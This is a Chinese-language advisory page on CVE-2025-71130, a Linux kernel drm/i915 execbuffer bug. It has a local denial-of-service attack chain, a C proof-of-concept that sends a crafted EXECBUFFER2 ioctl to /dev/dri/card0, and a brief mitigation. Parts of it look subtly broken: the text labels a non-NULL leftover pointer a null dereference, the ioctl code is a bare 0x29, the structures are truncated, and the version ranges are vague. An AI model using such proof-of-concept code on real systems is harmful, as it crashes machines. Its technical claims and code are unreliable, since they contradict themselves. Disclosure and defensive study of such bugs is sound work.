IPBUF安全漏洞报告
English
CVE-2025-71130 CVSS 5.5 中危

Linux内核drm/i915/gem空指针解引用漏洞(CVE-2025-71130)

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71130
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel drm/i915/gem

相关标签

Linux内核漏洞drm/i915空指针解引用本地提权拒绝服务CVE-2025-71130GEM子系统的漏洞

漏洞概述

CVE-2025-71130是Linux内核中drm/i915/gem子系统的一个空指针解引用漏洞。该漏洞存在于i915_gem_do_execbuffer函数的eb.vma数组初始化过程中。当eb_lookup_vmas()函数执行时,eb->vma数组被逐步填充struct eb_vma对象。如果eb_add_vma()函数调用失败,当前处理缓冲区的eb->vma[i].vma指针已被设置,但未正确重置为NULL。这导致在调用eb_release_vmas()进行清理时,由于eb_release_vmas()函数仅识别NULL作为停止值,非NULL的残留指针可能引发空指针解引用漏洞。攻击者可通过本地低权限访问触发此漏洞,造成可用性影响(高)。该漏洞CVSS评分为5.5,属于中等严重程度。

技术细节

漏洞根源在于eb.vma数组初始化不当。在i915_gem_do_execbuffer函数中,eb结构体首次设置时未将eb.vma数组初始化为0,导致eb->vma[i].vma指针被设置为slab poison值而非NULL。当eb_lookup_vmas()执行过程中,eb_add_vma()可能失败,但eb->vma[i].vma已被设置且未重置为NULL。此时eb_release_vmas()被调用清理,但它通过检查vma是否为NULL来判断清理停止点。由于残留指针非NULL,可能导致访问已释放或无效内存区域。修复方案是在eb结构体初始化时将整个eb.vma数组填充为0(NULL),简化清理逻辑并消除空指针解引用风险。该漏洞影响本地系统,需低权限即可触发,无需用户交互。

攻击链分析

STEP 1
1
攻击者获取目标系统的本地低权限访问权限
STEP 2
2
打开/dev/dri/card0设备文件获取i915 DRM访问
STEP 3
3
构造特制的DRM_IOCTL_I915_GEM_EXECBUFFER2 ioctl调用
STEP 4
4
触发eb_lookup_vmas()执行,在eb_add_vma()失败时留下非NULL残留指针
STEP 5
5
eb_release_vmas()清理时因识别到非NULL指针导致空指针解引用
STEP 6
6
成功触发内核崩溃,造成本地拒绝服务(可用性影响高)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-71130 PoC - Linux Kernel drm/i915 NULL Pointer Dereference // This is a conceptual PoC demonstrating the vulnerability trigger condition // Requires local access with low privileges #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // i915 DRM ioctl definitions #define DRM_IOCTL_I915_GEM_EXECBUFFER2 0x29 struct drm_i915_gem_execbuffer2 { __u64 buffers_ptr; __u32 buffer_count; __u32 batch_start_offset; __u32 batch_len; __u32 DR1; __u32 DR4; __u32 num_cliprects; __u64 cliprects_ptr; __u32 flags; __u64 rsvd1; }; struct drm_i915_gem_exec_object2 { __u32 handle; __u32 relocation_count; __u64 relocs_ptr; __u64 alignment; __u64 offset; __u64 flags; }; int main() { int fd; struct drm_i915_gem_execbuffer2 execbuf; struct drm_i915_gem_exec_object2 exec_objects[2]; printf("CVE-2025-71130 PoC - i915 gem execbuffer NULL deref\n"); // Open i915 DRM device fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } memset(exec_objects, 0, sizeof(exec_objects)); memset(&execbuf, 0, sizeof(execbuf)); // Setup execbuffer to trigger eb_add_vma failure condition execbuf.buffers_ptr = (unsigned long)exec_objects; execbuf.buffer_count = 2; execbuf.batch_start_offset = 0; execbuf.batch_len = 4096; // Trigger the vulnerability via crafted ioctl call // The actual exploitation requires specific memory conditions if (ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, &execbuf) < 0) { printf("ioctl call failed (expected in vulnerable kernel)\n"); } close(fd); return 0; }

影响范围

Linux Kernel < 5.15.x (特定commit: 08889b706d4f0b8d2352b7ca29c2d8df4d0787cd)
Linux Kernel < 6.1.x (stable回溯版本)
Linux Kernel < 6.6.x (stable回溯版本)
使用i915/gem子系统的系统均受影响

防御指南

临时缓解措施
在官方补丁发布前,可通过限制i915 DRM设备访问权限缓解风险。使用chmod 600 /dev/dri/card*限制只有root用户可访问,或通过内核模块参数禁用用户空间GEM执行。同时监控系统日志中的内核崩溃信息,及时发现攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表